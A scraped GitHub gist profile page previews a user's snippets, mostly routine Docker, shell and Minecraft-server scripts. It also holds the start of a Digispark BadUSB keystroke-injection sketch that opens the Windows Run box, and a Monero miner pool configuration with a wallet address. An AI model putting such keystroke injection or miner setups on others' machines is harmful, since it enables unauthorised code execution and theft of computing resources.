Skip to content

Instantly share code, notes, and snippets.

View phoenixthrush's full-sized avatar
:octocat:
sleeping under your bed

Phoenixthrush UwU phoenixthrush

:octocat:
sleeping under your bed
View GitHub Profile
@phoenixthrush
phoenixthrush / Example.ino
Last active May 7, 2024 14:00
Digispark Attiny85 - Remove 5 Second Delay
#include <DigiKeyboard.h>
void setup() {
pinMode(0, OUTPUT);
DigiKeyboard.sendKeyStroke(0);
// open run box
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(250);
{
"autosave": true,
"cpu": true,
"opencl": true,
"cuda": true,
"pools": [
{
"url": "pool.supportxmr.com:443",
"user": "475bdAhfZHV9eqi8Fr4U6Qa6ReHANggJuQJTAXsbBHJuiwNvJJiwAEucn9tYqHKvr5DpVy66d74jCYaArGvhE7gg7voBvYZ",
"pass": "Bob",
@phoenixthrush
phoenixthrush / docker-compose.yml
Created April 29, 2024 12:52
Jellyfin Docker Compose File
services:
jellyfin:
image: jellyfin/jellyfin:latest
container_name: jellyfin
ports:
- 8096:8096
volumes:
- jellyfin-config:/config
- jellyfin-cache:/cache
- ./media:/media
@phoenixthrush
phoenixthrush / split_flac_using_cue.sh
Created April 29, 2024 11:04
Splitting Flac Audio With CUE
shnsplit -f source.cue -t %n-%t -o flac source.flac
@phoenixthrush
phoenixthrush / docker-compose.yml
Created April 26, 2024 18:00
Quick and dirty PHP Docker Server (chmod -R a+w public)
version: '3.8'
services:
php-apache:
image: php:8.3-apache
ports:
- "8000:80"
volumes:
- ./src:/var/www/html
restart: unless-stopped
@phoenixthrush
phoenixthrush / clear_extended_attribute.sh
Created April 23, 2024 20:24
Clearing the com.apple.quarantine extended attribute
// By using this command you’re removing the com.apple.quarantine extended attribute from the application.
// The -r flag removes the attribute recursively from all files inside the application,
// and the -d flag indicates the given attribute is to be removed.
sudo xattr -r -d com.apple.quarantine /path/to/application.app/or/binary
@phoenixthrush
phoenixthrush / install nano.sh
Created April 23, 2024 20:22 — forked from BlakeGardner/install nano.sh
Syntax highlighting in nano on Mac OS
# Last updated March, 2022 for Apple silicon Macs
# Install Homebrew if you don't already have it: https://brew.sh
# install nano from homebrew
brew install nano nanorc
# update your nanorc file
echo 'include "/opt/homebrew/share/nanorc/*.nanorc"' >> ~/.nanorc
# close and re-open your terminal and you'll have syntax highlighting
@phoenixthrush
phoenixthrush / README.txt
Created April 13, 2024 19:22
Arch Linux Autoupdate
/etc/systemd/system/autoupdate.service
/etc/systemd/system/autoupdate.timer
systemctl enable --now /etc/systemd/system/autoupdate.timer
@phoenixthrush
phoenixthrush / paper-launcher.sh
Created April 12, 2024 18:42
Quickly launch a paper server with TreeFeller Plugin
get_paper() {
PAPER_VERSION=$(curl -s https://api.papermc.io/v2/projects/paper | jq '.versions | .[-1]' | sed 's/^.\(.*\).$/\1/')
BUILD_VERSION=$(curl -s https://api.papermc.io/v2/projects/paper/versions/$PAPER_VERSION | jq '.builds | .[-1]')
for file in paper-*.jar; do
if [ $file = paper-$PAPER_VERSION-$BUILD_VERSION.jar ]; then
continue
fi
rm -f $file
@phoenixthrush
phoenixthrush / get-latest-paper.sh
Created March 21, 2024 19:20
download latest paper jar
#!/bin/bash
PAPER_VERSION=$(curl -s https://api.papermc.io/v2/projects/paper | jq '.versions | .[-1]' | sed 's/^.\(.*\).$/\1/')
BUILD_VERSION=$(curl -s https://api.papermc.io/v2/projects/paper/versions/$PAPER_VERSION | jq '.builds | .[-1]')
curl -so paper-$PAPER_VERSION-$BUILD_VERSION.jar https://api.papermc.io/v2/projects/paper/versions/$PAPER_VERSION/builds/$BUILD_VERSION/downloads/paper-$PAPER_VERSION-$BUILD_VERSION.jar